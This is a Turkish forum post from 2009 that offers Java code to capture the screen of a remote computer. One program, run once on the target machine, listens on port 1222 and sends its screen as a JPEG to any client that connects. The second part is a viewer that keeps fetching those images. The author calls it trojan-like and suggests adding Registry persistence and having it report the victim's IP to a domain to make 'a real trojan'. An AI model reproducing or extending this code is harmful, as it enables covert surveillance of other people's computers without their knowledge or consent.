Uzak bilgisayarın ekran görüntüsünü alma

En Büyük İslami Forum Sitesi/Uzak bilgisayarın ekran görüntüsünü alma => Uzak bilgisayarın ekran görüntüsünü alma Bu program sadece bir uygulamadır. Program sonuçta bir trojan gibi çalışabilir, ancak uzak bilgisayarın

Gönderen Konu: Uzak bilgisayarın ekran görüntüsünü alma  (Okunma sayısı 3141 defa)

0 Üye ve 1 Ziyaretçi konuyu incelemekte.

Çevrimdışı administrator

  • Administrator
  • General
  • *****
  • İleti: 24515
  • Karma: +3/-1
    • Profili Görüntüle
    • Toplist Ekle Site Ekle
Uzak bilgisayarın ekran görüntüsünü alma
« : Mayıs 02, 2009, 10:35:19 ÖS »
Uzak bilgisayarın ekran görüntüsünü alma
Bu program sadece bir uygulamadır. Program sonuçta bir trojan gibi çalışabilir, ancak uzak bilgisayarın IP'sini bilmeden ekran görüntüsünü alamazsınız, Çalıştığı bilgisayarın IP'sini standart bir domain üzerine bağlanarak bilgi vermesini isteyebilirsiniz. Ayrıca her açıldığında tekrar çalışması için Registry üzerine de kaydedebilirsiniz. bunu yaptığınız takdirde elinizde gerçek bir trojan olacaktır. çalışma sırasında port açarken güvenlik duvarı tarafından uyarı alabilirsiniz, bu tür durumları göz önünde bulundururarak çalışmanızı diliyorum.

Öncelikle uzak bilgisayarda çalıştırmanız gereken programı derlemelisiniz. bu dosyayı Jar haline getirdikten sonra uzak bilgisayarda bir defa çalıştırmanız yeterlidir.


import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import com.sun.imageio.plugins.jpeg.JPEG;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.OutputStream;
import java.awt.Toolkit;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Dimension;
import java.awt.image.BufferedImage;
public class resimgonder extends Thread implements Runnable {
private ServerSocket server=null;
public resimgonder() {
try{
server=new ServerSocket(1222);
}
catch(Exception ex){
ex.printStackTrace();
}
}
public void run(){

try{
Robot r=new Robot();
Toolkit tk=Toolkit.getDefaultToolkit();
Dimension dim=tk.getScreenSize();
Rectangle rect=new Rectangle(dim);
while(true){
try{
Socket socket=server.accept();
OutputStream osw=socket.getOutputStream();
BufferedImage bi=r.createScreenCapture(rect);
JPEGEncodeParam enc=JPEGCodec.getDefaultJPEGEncodeParam(bi);
enc.setQuality(10,false);
JPEGImageEncoder ienc=JPEGCodec.createJPEGEncoder(osw);
ienc.encode(bi,enc);
osw.flush();
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
catch(Exception es){
es.printStackTrace();
}
}
public static void main(String args[]){
try{
resimgonder r=new resimgonder();
r.start();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}


şimdi sıra uzak bilgisayardaki görüntüyü kendi bilgisayarınıza taşımanıza geldi, programı çalıştırdığınız bilgisayarın IP'sini biliyorsanız aşağıdaki kodu çalıştırırken ilgili IP'yi yazarak görüntüyü alabilirsiniz.

Öncelikle bir resimkutusu sınıfı yaratalım


picturebox.java

import java.awt.image.BufferedImage;
public class picturebox extends javax.swing.JPanel {
public javax.swing.ImageIcon bi=null;
public void setBi(javax.swing.ImageIcon bi){
this.bi=bi;
repaint();
}
public javax.swing.ImageIcon getBi(){
return this.bi;
}
public picturebox() {

}
@Override
public void paint(java.awt.Graphics g){
if(bi!=null){
g.drawImage(bi.getImage(),0,0,this.getWidth(),this .getHeight(),this);
}
else{
g.drawString("No Image",5,5);
}
}
}


daha sonra resimalma işlemini yapan sınıfı yazmallıyız
resimal.java

import java.net.Socket;
import java.io.InputStream;
import javax.swing.ImageIcon;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
public class resimal extends Thread implements Runnable {
private String host=null;
private picturebox picturebox1=null;
public resimal(String host,picturebox picturebox1) {
this.host=host;
this.picturebox1=picturebox1;
}
public synchronized void run(){
while(true){
try{
Socket socket=new Socket(host,1222);
InputStream isr=socket.getInputStream();
BufferedImage bi=ImageIO.read(isr);
ImageIcon ic=new ImageIcon(bi);
picturebox1.setBi(ic);
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
}
BilX.Net